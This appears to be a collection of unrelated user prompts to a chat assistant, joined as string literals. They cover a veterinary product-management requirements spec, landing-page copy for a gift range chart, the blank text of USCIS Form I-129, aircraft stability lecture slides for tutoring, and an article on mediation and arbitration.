Detail\n\nAn active product must have at least one route selected.\n\nLabel: Add Routes \\*\nType: Button\n\nREQUIRED FIELD.\n\nThese are routes for administering treatments.\n\nWhen a user clicks the ‘add routes’ button, the following options are displayed: Base of Ear (BE), Ear (EA), Intramuscular (IM), Intranasal (IN), Intravenous (IV), Oral (OR), Subcutaneous (SQ), Topical (TO) or Not Applicable (NA). \n\nWhen a route is selected, the ‘add route details’ modal pops up. Once all the field are completed and ‘add route’ button is clicked, a row is displayed on the grid/table per route of administration selected.. \n\nA route can only be selected once.\n\nAt least one route must be selected for an active product.\n\nProduct Detail Grid:\n\nThe product detail grid will have 8 columns: Effective From, Effective To, Dosage, Quantity, Unit, Round To, Tolerance and Withdrawal Days. \n\nRequirements\nColumn: Effective From\nType: Date\nSource: Product Details Record → Effective From\nDescription: This is a unique identity to a product.\n\nFormat: M dd, yyyy (ex: Nov 16, 2022).\n\nDate can be either be present or future.\n\nEffective From Date can NOT BE BLANK / null when adding a new product (Validation message standard pop up “Effective From Date must be entered for a product”).\n\nEffective From Date must be AT LEAST one day in the future compared to previous rows effective from date. (which would then set its Effective To do the same day). \n\nColumn: Effective To\nType: Date\nSource: Product Details Record → Effective To\nDescription: This is a unique identity to a product.\n\nFormat: M dd, yyyy (ex: Nov 16, 2022).\n\nCALCULATED COLUMN (user does not directly enter this).\n\nCalculated value / column rules are the following:\n\nFor the ‘current’ route details, this field is always blank, indicating the date range is forever.\n\nWhen a new route details is made on the row below, the effective to date is system set to the day before the new / next row’s Effective From date. (For example, if you make a route details row that starts on Nov 15th, then the Effective To date on the row above will change from blank to Nov 14th). \n\nColumn: Dosage\nType: Text\nSource: Product Details Record → Dosage\nDescription: This is the dosage of the product. Choices are CWT (weight based) or per HEAD. \n\nColumn: Quantity\nType: Number\nSource: Product Details Record → Quantity\nDescription: This is the recommended quantity (whole number) that can be administered as written on the product label. \n\nColumn: Unit\nType: Number\nSource: Product Details Record → Unit\nDescription: This is the unit of measurement (whole number) for the recommended quantity of the product.\n\nColumn: Round To\nType: Number\nSource: Product Details Record → Round To\nDescription: This is to round up the actual dosage to 'ml'\n\nColumn: Tolerance %\nType: Number\nSource: Product Details Record → Tolerance\nDescription: Is the allowed difference in dosage.\n\nColumn: Administration Location\nType: Text\nSource: Product Details Record → Administration Location\nDescription: This is the location where products are administered. The options are Left side, Right side and Neutral\n\nColumn: Withdrawal Days\nType: Date\nSource: Product Details Record → Withdrawal Days\nDescription: Is the period of time from when a drug is administered to when the drug concentration falls below the tolerance.\n\nTotal Withdrawal days= (Default Withdrawal days + Withdrawal offset)\n\nDisplay Format = Total withdrawal days (Default withdrawal days) Ex. 14 (10 default).\n\nLabel: Add (located below the route grid)\nType: Button\n\nWhen user clicks the ‘Add’ button, a new blank ‘add route details’ modal is displayed.\n\nAdds an editable row to the route grid.\n\nLabel: Activate/Inactivate Route (located below the route grid)\nType: Button\n\nWhen user clicks the ‘Inactivate Route’ button, that particular route grid/table is disabled.\n\nWhen user clicks the ‘Activate Route’ button, that particular route grid/table is enabled.\n\nActions/Buttons- Add Product\nLabel: Cancel\nType: Button\n\nCancels any change and closes modal.\n\nNavigates user back to Product Management → Overview page.\n\nLabel: Add Product\nType: Button\n\nWhen user clicks the ‘add product’ button, the new product is created and automatically added to the product list.\n\nToaster message for success = Product added successfully.\n\nOnce the product is added, mapping and pricing tabs becomes active.\n\nAdd Product button is disabled until all validation is met.\n\nAuthorization Table\nRole: N/A" +'The brackets below is article about Gift Range Chart. I am now selling Gift Range Chart and I am building a website landing page. Can you give me some more website headers like "A simple yet powerful tool to plan and manage a successful capital campaign"\n\n[If I had to pick the most important of resources to lead you through a successful capital campaign, it would be the gift range chart. You may also know it as a gift table.\n\nIn this post, you’ll learn the basics of Gift Range Charts and discover the related tools that will help create a plan for your campaign.\n\nQuick Links — Click on any of the links below to jump ahead and learn the essentials about Gift Range Charts:\n\nCapital Campaign Gift Range Chart: An Overview\nCreating Your Capital Campaign Gift Range Chart\nGoing Beyond the Gift Range Chart\nTools to Create Your Capital Campaign Gift Range Chart\nConclusion: Making Sense of Your Campaign\nRead on and learn about how Gift Range Charts (also known as gift tables) are created and used.\n\nAlready know you want hands-on guidance developing your gift range chart? Request a free strategy session today!\n\nCapital Campaign Gift Range Chart: An Overview\n\nCapital Campaign Gift Range Chart: An Overview\nIf you’ve been through a capital campaign before, you are likely familiar with this important tool. If you use this tool correctly, you’ll be well on your way to leading a successful campaign.\n\nWHAT IS A GIFT RANGE CHART?\nA Gift Range Chart provides a framework for the number of gifts, at each gift amount, that you’ll need for a successful campaign.\n\nThe Gift Range Chart is the primary tool for your campaign because it will clarify your campaign goal and help you determine your chances for success at a specific goal amount. But the right Gift Range Chart for your campaign will become the backbone of your campaign in many other ways as well.\n\nA Gift Range Chart will enable you to:\n\nSort your donors by ask amounts\nEstablish the pattern of gifts you’ll need for your campaign\nCreate a strategic order for soliciting gifts\nProvide a logical approach to quantifying the number of prospects you’ll need for your campaign\nHelp your board understand what campaign success is going to take\nShow your top donors where their gifts will fit into the campaign\nTrack and report on your campaign progress\nDevelop a rational plan for donor communication, recognition and naming opportunities\nSAMPLE GIFT RANGE CHART\nYou’ll find several tools to help create your Gift Range Chart in the “Pre-Campaign Planning” section of the Capital Campaign Toolkit. Here’s a sample Gift Range Chart to use as a reference:\n\nSample Gift Range Chart for a Capital Campaign\n\nCreating Your Capital Campaign Gift Range Chart\n\nCreating Your Capital Campaign Gift Range Chart\nIn the sample Gift Range Chart in the preceding section, you can see that the top gift is 20% of the campaign goal. And, the first seven gifts take you to $1.4 million — more than halfway toward the goal.\n\nThe top group of 15 gifts take you to $1.8 million, or 72% — nearly three-quarters of the way to the campaign goal.\n\nThis pattern, showing a few gifts accounting for a large proportion of the campaign goal, is common for capital campaigns. In most campaigns, the top gift is 20% or 25% of the campaign goal. In some cases, it’s even higher. In fact, only 10 gifts account for at least half the goal in the vast majority of capital campaigns.\n\nOn the other hand, you can see that the remaining gifts — those of $25,000 or less account for less than 30% of the goal.\n\nOf course, the amounts on this chart are for example only. One standard pattern does not work for every campaign. Your Gift Range Chart will have to reflect the size of your donor base. The smaller your donor base, the larger the gifts in the top of the chart will have to be.\n\n7 TIPS TO CREATE YOUR GIFT RANGE CHART\nHere are seven tips that will help you create a Gift Range Chart for your organization.\n\nBuild your gift chart by starting with the top gift which should be at least 20% of your campaign goal.\nThen work down, increasing the number of gifts as the size of the gifts goes down.\nThe number of gifts in the first column should increase in a rational pattern as the size of the gifts decreases.\nThe gift amounts should be simple and standard to reflect a generic pattern rather than specific gifts you may already have in.\nYou will need 2, 3 or even 4 times the number of prospects than the number of gifts. The prospect multiplier depends on how well you know your donors.\nThe total number of prospects you show in your chart should be no larger than the number of qualified prospects you have in your donor base.\nIf when you get to the bottom of your chart, you find that you need more prospects than you have, go to the top and increase the number of gifts at the top.\nWant one-on-one guidance to help create your campaign’s gift range chart? Just reach out—we’ll be happy to help!\n\nGoing Beyond the Gift Range Chart\n\nGoing Beyond the Gift Range Chart\nThe Gift Range Chart will serve as a roadmap for your campaign. You will use a Depth Chart to add prospect names to each giving level you have decided on in your Gift Range Chart.\n\nFROM GIFT RANGE CHART TO DEPTH CHART\nOnce you’ve created a Gift Range Chart for your campaign, you’ll develop a “Depth Chart” which will attach specific prospective donor names to each gift required for a successful campaign.\n\nSimply take each of the top giving levels and use them as column headers. In each header, indicate how many gifts you will need at that level and how many prospects that will require:\n\nCapital Campaign Depth Chart\n\nNext, start filling out the names of people you can credibly ask for a gift at that level for your campaign. Sorting your donors into columns is done by evaluating their current giving, their potential to give, and their likely inclination.\n\nAs you fill out the Depth Chart, you will clearly see where you have enough qualified prospective donors and where you fall short. If you don’t have any prospect names for the top three levels, you probably need to go back to the drawing board and reduce your campaign goal.\n\nOnce your depth chart has been filled in, you will use it to organize the order of solicitation. You’ll prioritize the top donors to solicit first and then gradually work down to the smaller gifts as laid out on the depth chart.\n\nUSING THE GIFT RANGE CHART TO SOLICIT GIFTS\nOnce you have your depth chart and you start talking to your donors about making gifts to the campaign, you will once again find the gift range chart to be helpful. You should always include a copy of the gift range chart in the materials you take to your donors. When you show it to them, they will be able to see where they might fit in the community of donors. While a donor’s ability to make a gift is important, most donors like to know where their gift fits.\n\nSome donors want to be lead donors. And your chart will show them what that gift would be. Others might not want to be the lead donor but would like to make a significant gift to the campaign. Again, looking at the gift range chart will help them understand the range of giving and where they might place themselves in the community of donors.\n\nTRACKING CAMPAIGN PROGRESS WITH THE GIFT RANGE CHART\nGift range charts have a way of making the essence of a capital campaign clear. So, as gifts come in, you will check them off on your gift range chart. Gradually, as your campaign moves forward, you will see graphically, in a simple way, the progress your campaign is making and what gifts have yet to be committed. Your board members and executive staff will appreciate this very simple tracking devise. It’ll give them a sense of confidence to see the top gifts fill in from the top down.\n\nTools to Create Your Capital Campaign Gift Range Chart\n\nTools to Create Your Capital Campaign Gift Range Chart\nThe sample Gift Range Chart in this post is one of a number of tools available in the Capital Campaign Toolkit’s Pre-Campaign Planning section. Other tools include:\n\nGift Range Chart Calculator\nGift Range Chart Worksheet\nDepth Chart Worksheet\nOther related tools include a plan for your donor recognition guide based on the levels in your Gift Range Chart.\n\nIf you’re eager to utilize these tools for your campaign, check out the different Toolkit options here. Most options include campaign advising, giving you professional support at a fraction the cost of a campaign consultant.\n\nVIDEO: GIFT RANGE CHARTS = YOUR MOST POWERFUL TOOL\nTo learn even more about creating a Gift Range Chart for your campaign, watch the following video (approximately 17 minutes):\nConclusion: Making Sense of Your Campaign\n\nConclusion: Making Sense of Your Campaign\nBecause capital campaigns go on for many months (or even years), you may find it easy to get confused about where you should be putting your efforts during the seven phases of the campaign.\n\nIf, however, you coordinate your campaign plan to a Gift Range Chart, then, when you’re feeling lost, you’ll know where to turn. You’ll look at your chart to review which groups of donors have been solicited, as well as which are next up.\n\nYou may tie your staffing responsibilities to the donor levels of the Gift Range Chart. And you will certainly create a timetable for your campaign that prioritizes the work of the campaign according to giving level, starting with the largest gifts and working down.\n\nAnd even when considering how to thank and recognize donors, once you start thinking about it from the perspective of the giving levels in your Gift Range Chart, all of the planning will fall into place.\n\nA GIFT RANGE CHART MINIMIZES CONFUSION AND BUILDS CONFIDENCE\nWhen you organize your campaign based on a clear top-down strategy as mapped out in the Gift Range Chart, you will minimize confusion and build confidence in the campaign process.\n\nA Gift Range Chart may appear to be a simple planning devise, but when you use it as the essential structure for your campaign, you’ll find that everything falls into place.\n\nHave more questions about capital campaigns or want one-on-one help crafting your strategy? Check out our complete FAQ guide or get in touch. We’ll be happy to help!]' +'Ok, now, I am showing you the form looks like:\n\nr\nUSCIS\nUse\nOnly\nPetition for a Nonimmigrant Worker\nDepartment of Homeland Security\nU.S. Citizenship and Immigration Services\nUSCIS\nForm I-129\nOMB No. 1615-0009\nExpires 11/30/2025\nClassification Approved\nConsulate/POE/PFI Notified\nExtension Granted\nCOS/Extension Granted\nReceipt Partial Approval (explain) Action Block\nClass:\nNo. of Workers:\nJob Code:\nValidity Dates:\nFrom:\nTo:\nAt:\nLegal Name of Individual Petitioner\nIf you are an individual filing this petition, complete Item Number 1. If you are a company or an organization filing this petition,\ncomplete Item Number 2.\nFamily Name (Last Name) Given Name (First Name) Middle Name\n1.\n4. Contact Information\nPart 1. Petitioner Information\n► START HERE - Type or print in black ink.\n2. Company or Organization Name\n3. Mailing Address of Individual, Company or Organization\nCity or Town State ZIP Code\nIn Care Of Name\nStreet Number and Name Apt. Ste. Flr. Number\nDaytime Telephone Number\nU.S. Social Security Number (if any)\nEmail Address (if any)\nIndividual IRS Tax Number\nMobile Telephone Number\nFederal Employer Identification Number (FEIN)\n5. Other Information\n► ►\nProvince Postal Code Country\n►\n(USPS ZIP Code Lookup)\n Page 1 of 36\nForm I-129 Edition 11/02/22\nPart 2. Information About This Petition (See instructions for fee information)\n1. Requested Nonimmigrant Classification (Write classification symbol):\n2. Basis for Classification (select only one box):\nNew employment.\nNew concurrent employment.\nChange of employer.\nAmended petition.\nChange in previously approved employment.\nContinuation of previously approved employment without change with the same employer.\n3. Provide the most recent petition/application receipt number for the\nbeneficiary. If none exists, indicate "None."\nNotify the office in Part 4. so each beneficiary can obtain a visa or be admitted. (NOTE: A petition is not required for\nE-1, E-2, E-3, H-1B1 Chile/Singapore, or TN visa beneficiaries.)\nChange the status and extend the stay of each beneficiary because the beneficiary(ies) is/are now in the United States in\nanother status (see instructions for limitations). This is available only when you check "New Employment" in Item\nNumber 2., above.\nExtend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\nAmend the stay of each beneficiary because the beneficiary(ies) now hold(s) this status.\n4. Requested Action (select only one box):\nExtend the status of a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement\nto Form I-129 for TN and H-1B1.)\nChange status to a nonimmigrant classification based on a free trade agreement. (See Trade Agreement Supplement to\nForm I-129 for TN and H-1B1.)\n5. Total number of workers included in this petition. (See instructions relating to\nwhen more than one worker can be included.)\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.)\n1. If an Entertainment Group, Provide the Group Name\n2. Provide Name of Beneficiary\nFamily Name (Last Name) Given Name (First Name) Middle Name\nFamily Name (Last Name) Given Name (First Name) Middle Name\n3. Provide all other names the beneficiary has used. Include nicknames, aliases, maiden name, and names from all previous marriages.\n4. Other Information\nDate of birth (mm/dd/yyyy) Gender\nMale Female\nU.S. Social Security Number (if any)\n►\n►\n►\na.\nb.\nc.\nd.\ne.\nf.\na.\nb.\nc.\nd.\ne.\nf.\n Page 2 of 36\nForm I-129 Edition 11/02/22\nDate Passport or Travel Document\nExpires (mm/dd/yyyy)\nCountry of Citizenship or Nationality\n6. Current Residential U.S. Address (if applicable) (do not list a P.O. Box)\nEmployment Authorization Document (EAD)\nNumber (if any)\nStudent and Exchange Visitor Information System (SEVIS) Number (if\nany)\nCity or Town State ZIP Code\nStreet Number and Name Apt. Ste. Flr. Number\nCurrent Nonimmigrant Status Date Status Expires or D/S (mm/dd/yyyy)\nPassport or Travel Document Country of\nIssuance\nDate Passport or Travel Document\nIssued (mm/dd/yyyy)\n5. If the beneficiary is in the United States, complete the following:\nCountry of Birth\nI-94 Arrival-Departure Record Number\n►\nPart 3. Beneficiary Information (Information about the beneficiary/beneficiaries you are filing for. Complete the\nblocks below. Use the Attachment-1 sheet to name each beneficiary included in this petition.) (continued)\nDate of Last Arrival (mm/dd/yyyy) Passport or Travel Document Number\nPart 4. Processing Information\n1. If a beneficiary or beneficiaries named in Part 3. is/are outside the United States, or a requested extension of stay or change of\nstatus cannot be granted, state the U.S. Consulate or inspection facility you want notified if this petition is approved.\na. Type of Office (select only one box):\nb. Office Address (City) c. U.S. State or Foreign Country\nConsulate Pre-flight inspection Port of Entry\nd. Beneficiary\'s Foreign Address\nCity or Town\nStreet Number and Name Apt.Ste. Flr. Number\nAlien Registration Number (A-Number)\nAProvince of Birth\n►\n2. Does each person in this petition have a valid passport?\nState\nPostal Code Country\nYes No. If no, go to Part 9. and type or print your\nexplanation.\nProvince\n Page 3 of 36\nForm I-129 Edition 11/02/22\nPart 4. Processing Information (continued)\n5. Are you filing any applications for dependents with this petition?\nYes. If yes, proceed to Part 9. and list the beneficiary\'s(ies) name(s).\nYes. If yes, how many? ►\nYes. If yes, answer the questions below. No. If no, proceed to Item Number 9.\n4. Are you filing any applications for replacement/initial I-94, Arrival-Departure Records with this petition? Note that if the\nbeneficiary was issued an electronic Form I-94 by CBP when he/she was admitted to the United States at an air or sea port, he/\nshe may be able to obtain the Form I-94 from the CBP Website at www.cbp.gov/i94 instead of filing an application for a\nreplacement/initial I-94.\n9. Have you ever previously filed a nonimmigrant petition for this beneficiary?\n7. Have you ever filed an immigrant petition for any beneficiary in this petition?\n6. Is any beneficiary in this petition in removal proceedings?\n8. Did you indicate you were filing a new petition in Part 2.?\na. Has any beneficiary in this petition ever been given the classification you are now requesting within the last seven years?\nb. Has any beneficiary in this petition ever been denied the classification you are now requesting within the last seven years?\n10. If you are filing for an entertainment group, has any beneficiary in this petition not been with the group for at least one year?\n11.b. If you checked yes in Item Number 11.a., provide the dates the beneficiary maintained status as a J-1 exchange visitor or J-2\ndependent. Also, provide evidence of this status by attaching a copy of either a DS-2019, Certificate of Eligibility for Exchange\nVisitor (J-1) Status, a Form IAP-66, or a copy of the passport that includes the J visa stamp.\n11.a. Has any beneficiary in this petition ever been a J-1 exchange visitor or J-2 dependent of a J-1 exchange visitor?\nPart 5. Basic Information About the Proposed Employment and Employer\n1. Job Title 2. LCA or ETA Case Number\n►\n►\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nNo\nYes. If yes, how many?\nYes. If yes, how many?\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Part 9. and type or print your explanation.\nYes. If yes, proceed to Item Number 11.b.\nAttach the Form I-129 supplement relevant to the classification of the worker(s) you are requesting.\n3. Are you filing any other petitions with this one?\nYes. If yes, how many? ► No\n Page 4 of 36\nForm I-129 Edition 11/02/22\nPart 5. Basic Information About the Proposed Employment and Employer (continued)\n4. Did you include an itinerary with the petition?\n5. Will the beneficiary(ies) work for you off-site at another company or organization\'s location?\n12. Type of Business 13. Year Established\n14. Current Number of Employees in the United States 15. Gross Annual Income 16. Net Annual Income\n10. Other Compensation (Explain)\n11. Dates of intended employment From: To:\n7. Is this a full-time position?\n6. Will the beneficiary(ies) work exclusively in the Commonwealth of the Northern Mariana Islands (CNMI)?\n8. If the answer to Item Number 7. is no, how many hours per week for the position? ►\n►\n(mm/dd/yyyy) (mm/dd/yyyy)\nNo\nYes\nNo\nYes No\nYes\nNo\nYes\n9. Wages: $ per (Specify hour, week, month, or year)\n3. Address where the beneficiary(ies) will work if different from address in Part 1.\nStreet Number and Name Apt. Ste. Flr. Number\nCity or Town State ZIP Code\n Page 5 of 36' +'Moving to Lecture 12:\n```\nSlide 1:\nGeneral Longitudinal Trim Equations\nIn the analysis presented so far, we ignored contributions from the fuselage and other external payload\nThe total pitching moment on the aircraft at equilibrium can be written as\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta=0\n$$\nwhere $\\delta$ is the control surface deflection\nThe incremental moment after a perturbation $\\Delta \\alpha$ is given by\n$$\n\\Delta M=M\\_\\alpha \\Delta \\alpha\n$$\nTherefore, the condition for static stability can be written as $M\\_\\alpha<0$\nAll the cases examined until this point are essentially specific examples of this generic condition\nRecall: this is also a necessary condition for the stability of the short period dynamics\n\nSlide 2:\nNeutrally Stable Configurations and Trim\nThe equilibrium pitching moment is given by\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta=0 \\Longrightarrow \\alpha=-\\frac{M\\_\\delta}{M\\_\\alpha} \\delta\n$$\nIf $\\left|M\\_\\alpha\\right|$ is very small (close to zero), the angle of attack changes by large amounts even for small elevator deflection. This is highly undesirable.\nSuppose $M\\_\\alpha=0$. Then, at equilibrium,\n$$\nM=M\\_0+M\\_\\delta \\delta=0\n$$\nThe angle of attack is nowhere in the picture! Therefore, without active control, the aircraft can trim at any angle of attack, i.e., there is no control whatsoever on the trim value of $\\alpha$\n\nSlide 3: Control Surface Actuation\nLongitudinal control surfaces are actuated by a combination of actuators\nElectro-mechanical actuators connected to the flight computer\nHydraulic actuators connected to the flight computer as well\nas the control column in the cockpit\nIn small aircraft, mechanical wires and pulleys connected\ndirectly to the control column\nThe pilot exerts a force on the control column; the force is transmitted to\nthe actuator to move the control surface\nThe control surface exerts an opposing force.\nEquilibrium: the two forces are equal and cancel each other\n\nSlide 4:\nStick-Free Versus Stick-Fixed Stability\n\nSo far, we assumed that the elevator deflection is constant, for which the\npilot would have to hold the control column in one place manually.\nThe stability that we have looked at so far is therefore called “stick-fixed”\nstability\nIn nominal trim flight, the pilot takes his hands o↵ the control column\nIn doing so, he “arranges” for a certain amount of force to be applied to\nthe elevator at all times\nThe elevator is no longer statically deflected; it has a dynamics of its own\nThe dynamics of the elevator affect the stability of the aircraft. This is\ncalled “stick-free” stability\n\nSlide 5:\nStick-Free Stability\nRecall the trim equation for pitching moment:\n$$\nM=M\\_0+M\\_\\alpha \\alpha+M\\_\\delta \\delta\n$$\nSuppose now that we can write $\\delta=H\\_0+H\\_\\alpha \\alpha$, for some constants $H\\_0$ and $H\\_\\alpha$\nSubstituting into the pitching moment expression yields\n$$\nM=\\left(M\\_0+M\\_\\delta H\\_0\\right)+\\left(M\\_\\alpha+M\\_\\delta H\\_\\alpha\\right) \\alpha\n$$\nStatic stability condition: $M\\_\\alpha+M\\_\\delta H\\_\\alpha<0$\nIf $M\\_\\delta H\\_\\alpha>0$, then we need a much more negative $M\\_\\alpha$\n- The NP shifts forward, towards the wing $A C$\n- The static margin reduces\nUsually, $M\\_\\delta<0$ (rear-mounted surface); thus, $H\\_\\alpha<0$ is destabilizing and vice-versa\n\nSlide 6:\nThe Elevator Trim Tab\nThe trim tab is a small flap located on the elevator\nPurpose: enable the pilot to set the elevator to any desired angle so that\nthe force on the stick is zero\nPrinciple: The trim tab behaves like an independent symmetric airfoil.\nThe force on the tab produces a moment which adds on to the moment\ndue to the stick force\n\nSlide 7: Stick-Free Control\n- Objective: find the tab deflection angle $\\delta\\_{t a b}$ to achieve zero hinge moment\n- Moment from the elevator: $M\\_e=\\frac{1}{2} \\rho V^2 S\\_e C\\_{L \\alpha}^e\\left(\\alpha+\\delta\\_e\\right) x\\_e$\n- Moment from the trim tab: $M\\_{t a b}=\\frac{1}{2} \\rho V^2 S\\_{t a b} C\\_{L \\alpha}^{t a b}\\left(\\alpha+\\delta\\_{t a b}\\right) x\\_{t a b}$\n- Equilibrium is achieved when $M\\_e+M\\_{t a b}=0$\n- The trim elevator angle is given by\n$$\n\\delta\\_e=\\left(-\\frac{S\\_{t a b} x\\_{t a b} C\\_{L \\alpha}^{t a b}}{S\\_e x\\_e C\\_{L \\alpha}^e}-1\\right) \\alpha-\\left(\\frac{S\\_{t a b} x\\_{t a b} C\\_{L \\alpha}^{t a b}}{S\\_e x\\_e C\\_{L \\alpha}^e}\\right) \\delta\\_{t a b}\n$$\nCompare with $\\delta=H\\_0+H\\_\\alpha \\alpha$ : clearly, $H\\_\\alpha<0$\n- Stick-free configurations are less stable than stick-fixed configurations\n\nSlide 8:\nEffect of Downwash on the Horizontal Tail\nDownwash reduces the angle of attack of the horizontal tail\nAngle of attack of the vertical tail in a static setting\n$$\n\\alpha\\_t=\\underbrace{\\alpha+i\\_t}\\_{\\text {geometric }}-\\underbrace{\\epsilon}\\_{\\text {downwash }}\n$$\nThe downwas is written as $\\epsilon=\\epsilon\\_0+\\epsilon\\_\\alpha \\alpha>0$, so that\n$$\n\\alpha\\_t=\\alpha\\left(1-\\epsilon\\_\\alpha\\right)+i\\_t-\\epsilon\\_0\n$$\nRewrite $M\\_\\alpha$ :\n$$\nC\\_{M\\_\\alpha}=\\frac{x\\_{A C}}{c} C\\_{L\\_\\alpha}^w-V\\_H C\\_{L\\_\\alpha}^t\\left(1-\\epsilon\\_\\alpha\\right)\n$$\nClearly, downwash reduces the longitudinal-stability of the aircraft\nNeutral point shifts forward to satisfy $\\frac{X\\_{A C}}{C}=V\\_H\\left(1-\\epsilon\\_\\alpha\\right)$\n\nSlide 9:\nLongitudinal Control\n$$\n\\begin{aligned}\n\\dot{q} & =\\frac{M\\left(\\alpha, q, \\delta\\_e\\right)}{I\\_{y y}} \\\\\n\\dot{\\alpha} & =q-\\frac{1}{m V}(L-m g \\cos \\gamma) \\\\\n\\dot{\\gamma} & =\\frac{1}{m V}(L-m g \\cos \\gamma) \\\\\n\\dot{V} & =\\frac{1}{m}(T-D)-g \\sin \\gamma\n\\end{aligned}\n$$\n- Longitudinal control inputs: thrust $(T)$ and elevator deflection $\\delta\\_e$\n- Elevator deflection $\\delta\\_e$ controls the pitching motion of the aircraft\n- Angle of attack controls $\\dot{\\gamma}$ (primary) and $\\dot{V}$ (secondary)\n- Thrust: controls $\\dot{V}$\n- Recall the steady state influence of $T$ and $\\alpha$ :\n$$\nV^2=\\frac{2 W \\cos \\gamma}{\\rho S C\\_L}, \\sin \\gamma=\\frac{T-D}{W}\n$$\n\nSlide 10:\nPitch Control Using the Elevator\n- The elevator deflection $\\delta\\_e$ is defined positive downwards\n- Lift due to elevator deflection $\\partial L / \\partial \\delta\\_e>0$\n- Therefore, $M\\_{\\delta\\_e}=\\partial M / \\partial \\delta\\_e<0$\nPitch Equilibrium\n- Recall that the pitching dynamics are given by\n$$\n\\dot{\\alpha}=q-\\dot{\\gamma} ; \\quad \\dot{q}=\\frac{M}{I\\_{y y}}\n$$\nFor equilibrium, we need $M=0$ and $q=0$\nBut $M=M\\_0+M\\_\\alpha \\alpha+M\\_q q+M\\_{\\delta\\_e} \\delta\\_e$\n- Hence, the trim angle of attack is given by\n$$\n\\alpha^0=\\frac{-\\left(M\\_{\\delta\\_e} \\delta\\_e+M\\_0\\right)}{M\\_\\alpha}=-\\frac{M\\_{\\delta\\_e}}{M\\_\\alpha} \\delta\\_e-\\frac{M\\_0}{M\\_\\alpha}\n$$\nIn a stable aircraft, $M\\_\\alpha<0$; also, $M\\_{\\delta\\_e}<0$ when the horizontal tail is located aft of the CG\n\n```\nNow get started with your tutoring for lecture 12. Remember, You are a a well accomplished educational tutor. You teach concepts from ground up and ensure your tutee has understood the concept in the best way possible. You take inputs from the tutee containing his study material and present it in a well understandable format, using the best tutoring practices for making your tutee excel in his university exams. Today, I need you to teach Longitudinal and Lateral-Directional Stability in aircrafts. I shall be providing you slide by slide content and you shall begin your tutoring accordingly. The syllabus for the upcoming test is lectures 10-15. The content of the 12th lecture was as given.' +'This is the first content. Also, provide me with the headings of the first content.\nI only want you to reply "acknowledged" to remember the first content. I will give you the next content after you acknowledge the first content. \n\nWhat is Mediation and Arbitration?\nMediation and arbitration can help parties solve serious conflicts without the expense and hassle of litigation.\nWhat’s the difference between mediation and arbitration? In a mediation process, a neutral, trained mediator works to help disputants come to a consensus on their own. In arbitration, a neutral, trained arbitrator serves as a judge who is responsible for resolving the dispute.\n\nMediation is appealing because it allows parties to reach a collaborative settlement, but it could end in impasse. Arbitration, on the other hand, can wrap up a dispute conclusively, but it doesn’t give disputants much say in the outcome.\n\nA hybrid approach called med-arb combines the benefits of both mediation and arbitration techniques.\n\nIn this mediation and arbitration hybrid, parties first attempt to collaborate on an agreement with the help of a mediator. If the mediation ends in impasse, or if issues remain unresolved, the parties can then move on to arbitration.\n\nThe mediator can assume the role of arbitrator (if qualified) and render a binding decision quickly, or an arbitrator can take over the case after consulting with the mediator.\n\nIf you are considering med-arb (or arb-med), or if another party has recommended it to you, weigh the potential benefits and concerns carefully. Med-arb has a proven ability to get disputes resolved relatively quickly and amicably, but making a single choice between mediation and arbitration is often be sufficient to meet your needs.\n\nTo learn more about mediation, claim your FREE copy of Mediation Secrets for Better Business Negotiations: Top Techniques from Mediation Training Experts. In this free special report, the editors of Negotiation provide you with insights into why mediation is the preferred method of dispute resolution for most managers. Throughout the report, you will discover how to select the right mediator, come to understand the mediation process, and learn how to engage the mediator to ensure a good outcome.\n\nThe following items are tagged mediation and arbitration:\n\nWhat is Med-Arb?\nPOSTED MARCH 6TH, 2023 BY KATIE SHONK & FILED UNDER MEDIATION.\n\nWhen parties find themselves involved in a serious conflict, they often try to avoid the expense and hassle of litigation by turning to one of the two most common alternative dispute resolution processes: mediation or arbitration. Disputants who are concerned about these drawbacks might want to consider a hybrid mediation-arbitration approach called med-arb. … READ WHAT IS MED-ARB? \n\nHow to Manage Conflict at Work\nPOSTED FEBRUARY 23RD, 2023 BY KATIE SHONK & FILED UNDER CONFLICT RESOLUTION.\n\nSooner or later, almost all of us will find ourselves trying to cope with how to manage conflict at work. At the office, we may struggle to work through high-pressure situations with people with whom we have little in common. We need a special set of strategies to calm tempers, restore order, and meet each … READ HOW TO MANAGE CONFLICT AT WORK \n\nChoose the Right Dispute Resolution Process\nPOSTED FEBRUARY 20TH, 2023 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nWhat is dispute resolution? There are three basic types of dispute resolution, each with its pros and cons. The first two, mediation and arbitration, are considered types of alternative dispute resolution because they are an alternative to litigation. … READ CHOOSE THE RIGHT DISPUTE RESOLUTION PROCESS \n\nWhat is an Arbitration Agreement?\nPOSTED JANUARY 16TH, 2023 BY KATIE SHONK & FILED UNDER CONFLICT RESOLUTION.\n\nIf you have ever owned a cell phone or been issued a credit card, odds are you’ve signed an arbitration agreement. You also may have signed an arbitration agreement when you started your current job or a past one, whether you remember doing so or not. … READ WHAT IS AN ARBITRATION AGREEMENT? \n\nArbitration vs Mediation: The Definition of Mediation as a Problem Solving Process\nPOSTED DECEMBER 26TH, 2022 BY LAWRENCE SUSSKIND & FILED UNDER MEDIATION.\n\nMediation is often thought of as a last step to adjudicate disputes. In this article, professor Lawrence Susskind spells out the hidden advantages of using mediation early in the process to solve problems and reach voluntary compliance agreements. … READ MORE \n\nWhat Is an Umbrella Agreement?\nPOSTED DECEMBER 13TH, 2022 BY KATIE SHONK & FILED UNDER DISPUTE RESOLUTION.\n\nBusiness negotiators tend to want the best of both worlds. When reaching an agreement, they want to pin down parties’ respective rights and responsibilities, but they also want to retain the flexibility they need to deal with ever-changing business conditions. One solution to this apparent dilemma is to craft an umbrella agreement. … READ WHAT IS AN UMBRELLA AGREEMENT? \n\nAlternative Dispute Resolution (ADR) Training: Mediation Curriculum\nPOSTED DECEMBER 8TH, 2022 BY PON STAFF & FILED UNDER MEDIATION.\n\nIn 2009, we collected many types of curriculum materials from teachers and trainers who 